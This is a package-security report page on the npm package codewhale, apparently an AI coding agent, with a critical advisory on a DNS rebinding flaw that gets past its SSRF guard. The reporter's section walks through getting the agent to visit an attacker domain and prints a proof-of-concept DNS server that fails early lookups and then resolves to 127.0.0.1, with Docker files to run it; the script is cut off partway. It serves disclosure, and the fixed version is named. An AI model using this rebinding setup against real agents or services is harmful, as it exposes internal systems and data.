npm package report

Is codewhale safe?

9 known vulnerabilities, worst severity CRITICAL.

// reach

0 direct dependencies

none carry a known advisory

    0 packages depend on it

    an advisory here reaches each of them

      Create a free accountfor every dependency path, dependent and what to upgrade
      // ai model usage

      Tracked for PyPI packages. HuggingFace models declare Python dependencies, so npm packages are not covered.


      cvss
      0.0
      critical

      severity out of 10

      epss
      0.00%
      medium

      chance of exploitation in 30 days, 40th percentile of all CVEs

      xyz score
      not scored

      CyberXYZ composite out of 10

      fig. 01 — GHSA-6v2g-fpxh-pmmh, the advisory selected below

      // 9 advisories

      GHSA-6v2g-fpxh-pmmh

      CRITICALCVE-2026-75856
      // maintainer resolution

      The CodeWhale maintainers validated this report. The affected package ranges are recorded in the advisory metadata. Version 0.8.64 contains the fix in commit 26de44a8bd50. Users should upgrade to 0.8.64 or later. The original reporter analysis is preserved below.

      // summary

      DNS-pinning failure allows natural failure of code, however with a custom DNS server that fails the initial requests and allows the secondary requests, it's possible to bypass the logic.

      // details

      Simplified attack scenario:

      • Attacker asks agent to visit the mydomain.com.
      • CodeWhale tries to resolve the IP of mydomain.com, however, the custom DNS server that's controlled by the attacker marks the request DNS‌ query as failed (Time of Check).
      • CodeWhale allows the code to continue as it expects it request to fail again.
      • On the secondary (Time of Use), the DNS server resolves mydomain.com to a local IP (e.g., 127.0.0.1)
      • The request is executed and the content from port 80 is returned to the attacker, allowing full bypass of SSRF mitigations.

      In the DNS-pinning section, when DNS fails, the code is allowed to continue as it's expected to fail. However

      // poc

      This is a custom DNS server that fails the first requests (in this case, the first and second requests must fail, while the 3rd and 4th are allowed due to A and AAAA DNS queries). Here is the code for the DNS‌ server(for PoC, should be placed in dnser/dnsresolver.py:

      #!/usr/bin/env python3
      """
      Local DNS Resolver — customizable request/response handling.
      Uses only the standard library + dnslib.
      
      Usage:
          pip install dnslib
          sudo python dns_resolver.py          # binds to 0.0.0.0:53 by default
          python dns_resolver.py --port 5353   # unprivileged port for testing
      """
      
      import argparse
      import socket
      import threading
      from dnslib import DNSRecord, DNSHeader, RR, QTYPE, A, CNAME, AAAA
      
      
      UPSTREAM_DNS = ("8.8.8.8", 53)   # fallback resolver
      
      
      def handle_no_aaaa(query: DNSRecord) -> DNSRecord | None:
          """Drop all AAAA requests."""
          if QTYPE[query.q.qtype] == "AAAA":
              reply = query.reply()
              reply.header.rcode = 3  # NXDOMAIN
              return reply
          return None
      
      def handle_blocked(query: DNSRecord) -> DNSRecord | None:
          """Block domains by returning NXDOMAIN."""
          blocked = {"blocked.example.com.", "ads.tracker.io."}
          qname = str(query.q.qname)
          if qname in blocked:
              print(f"  [BLOCKED] {qname}")
              reply = query.reply()
              reply.header.rcode = 3          # NXDOMAIN
              return reply
          return None
      
      failer = 0
      MAX_FAIL = 2
      MAX_SUCCESS = 2
      
      def handle_overrides(query: DNSRecord) -> DNSRecord | None:
          global failer
          """Return hardcoded A records for specific names (split-horizon / local dev)."""
          overrides: dict[str, str] = {
              "myapp.local.":     "127.0.0.1",
              "devserver.local.": "192.168.1.100",
              "mydomain.com.":    "127.0.0.1",
          }
          qname = str(query.q.qname)
          qtype = QTYPE[query.q.qtype]
      
          if qname in overrides and qtype == "A":
              failer += 1
              cycle_pos = (failer - 1) % (MAX_FAIL + MAX_SUCCESS)  # position within cycle
              should_fail = cycle_pos < MAX_FAIL
      
              print(f"  [OVERRIDE] request={failer} cycle_pos={cycle_pos} fail={should_fail}")
      
              if should_fail:
                  reply = query.reply()
                  reply.header.rcode = 3
                  reply.header.ra = 0
                  return reply
      
              ip = overrides[qname]

      Docker file to build it(dnser/Dockerfile):

      FROM python:3.12-slim
      
      WORKDIR /app
      
      RUN pip install dnslib --no-cache-dir
      
      COPY dns_resolver.py .
      
      EXPOSE 53/udp
      EXPOSE 53/tcp
      
      CMD ["python", "-u", "dns_resolver.py", "--host", "0.0.0.0", "--port", "53"]

      Then to simplify the test, we can set everything in a container and make the agent use the local DNS resolver:

      docker-compose.yml:

      services:
        dns-resolver:
          build: dnser
          container_name: dns-resolver
          restart: unless-stopped
          networks:
            dns-net:
              ipv4_address: 10.0.1.2
      
        a:
          image: ghcr.io/hmbown/deepseek-tui:latest
          container_name: tui
          environment:
            DEEPSEEK_API_KEY: sk-
          stdin_open: true
          tty: true
          dns: 10.0.1.2
          networks:
            - dns-net
          depends_on:
            - dns-resolver
          sysctls:
            net.ipv6.conf.all.disable_ipv6: 1
      
      
      
      networks:
        dns-net:
          driver: bridge
      // cvss v4.0 vector

      CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:N/VA:N/SC:H/SI:N/SA:N

      Attack vector
      Network
      Attack complexity
      Low
      Attack requirements
      None
      Privileges required
      None
      User interaction
      None
      Confidentiality (vulnerable system)
      High
      Integrity (vulnerable system)
      None
      Availability (vulnerable system)
      None
      Confidentiality (subsequent systems)
      High
      Integrity (subsequent systems)
      None
      Availability (subsequent systems)
      None

      Checked 2026-09-26 at 01:00 UTC. The most recent advisory here was published 2026-09-04. Updated continuously from NVD, GHSA, OSV and CNA feeds.

      Think a verdict here is wrong? Tell us — we respond within 2 business days.